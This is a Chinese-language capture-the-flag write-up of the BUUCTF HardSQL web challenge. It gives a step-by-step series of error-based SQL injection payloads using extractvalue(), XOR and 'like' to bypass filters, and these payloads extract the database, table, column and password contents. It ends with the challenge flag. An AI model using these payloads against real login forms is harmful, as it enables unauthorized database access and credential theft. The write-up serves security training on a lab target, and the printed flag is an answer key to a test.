Buuctf-web-[極客大挑戰 2019]HardSQL
阿新 • • 發佈:2021-01-21
被堵
異或運算子為^ 或者 xor
兩個同為真的條件做異或,結果為假,兩個同為假的條件做異或,結果為假,一個條件為真,一個條件為假,結果為真,null與任何條件(真、假、null)做異或,結果都為null
我們還需要用到一個函式:extractvalue()
對XML文件進行查詢的函式
還有要注意的地方是,它能夠查詢的字串長度最大是32個字元,如果超過32位,我們就需要用函式來查詢,比如right(),left(),substr()來擷取字串
然後,我們開始注入
第一個payload:
?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(database()))))%23
庫名出來了,接著爆表
發現等於號被過濾,可以用like代替
?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
接著爆欄位
?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
因為用extractvalue()函式,一次只能顯示32個字元,我們需要用 left right函式
?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(left(password,30))from(geek.H4rDsq1))))%23
?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(right(password,30))from(geek.H4rDsq1))))%23
flag{68e2d23a-f3b9-46b5-8298-d0470eca0517}